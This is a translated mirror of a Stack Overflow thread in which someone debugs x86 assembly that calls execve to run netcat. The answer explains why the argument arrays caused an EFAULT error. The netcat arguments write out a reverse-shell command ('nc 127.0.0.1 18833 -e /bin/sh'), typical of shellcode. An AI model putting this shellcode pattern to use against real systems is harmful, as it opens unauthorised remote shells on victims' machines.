繁体   English   中英

Linux Sys_execve不会在程序集中运行

[英]Linux Sys_execve wont run in assembly

我正在编写一个汇编程序,该程序需要调用netcat并通过Internet执行程序。

据我了解,对于execve命令,您将EBX寄存器指向要运行的程序,该程序最后以空字节终止。 您将ECX寄存器指向参数,这些参数由arg列表末尾的2个空字节与空字节分隔。 您只需将EDX设置为一堆空字节。

在我的命令int0x80执行命令时,我的寄存器如下所示:

Eax:11#系统调用
EBX:0x0783140#/ bin // nc
ECX:0x078314a #args
EDX:0x07831a4 #env

这是ascii中0x0783140处的内存值:

[空字节] = 0x00

/ bin // nc [null字节] 127.0.0.1 [null字节] 18833 [null字节] -e [null字节] / bin / sh [null字节] [null字节]

EBX指向'/ bin // nc'
ECX指向'127.0.0.1'
RDX只是指向一堆空字节

该程序将到达int 0x80调用,但是它将立即返回并将0xfffffff2放入EAX寄存器中。

任何帮助都会很棒。

编辑:感谢ephemient,我现在能够实际运行netcat,但是不知何故,我认为程序无法正确读取我的args。 我认为这是因为netcat运行,但立即退出,退出代码为1,并且未建立与我的侦听器的连接。

ecx现在在内存中指向此位置(请注意,为了便于阅读,我在地址之间放置了空格,但它们在我的程序中不存在):

0x78315e 0x783168 0x78316e 0x783171 0x00000000

0x78315e => 127.0.0.1[Null Byte]
0x783168 => 18833[Null Byte]
0x78316e => -e[Null Byte]
0x783171 => /root/myprogram[Null Byte]

我已四倍检查地址是否实际指向上面的askii值

您得到errno=EFAULT (0xfffffff2 = -14,14 = EFAULT),表明您正在向系统调用传递错误的地址。

SYS_execve接受3个参数,但是第二和第三个是指向参数/环境字符串的NULL终止的指针数组,而不是由nul分隔的组件组成的单个字符串。 将字符串解释为指针数组,意味着该字符串的前4个字节被解释为第一个字符串的地址,但这不是有效地址,因此为EFAULT。

SYSCALL_DEFINE3(execve,
                const char __user *, filename,
                const char __user *const __user *, argv,
                const char __user *const __user *, envp)

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM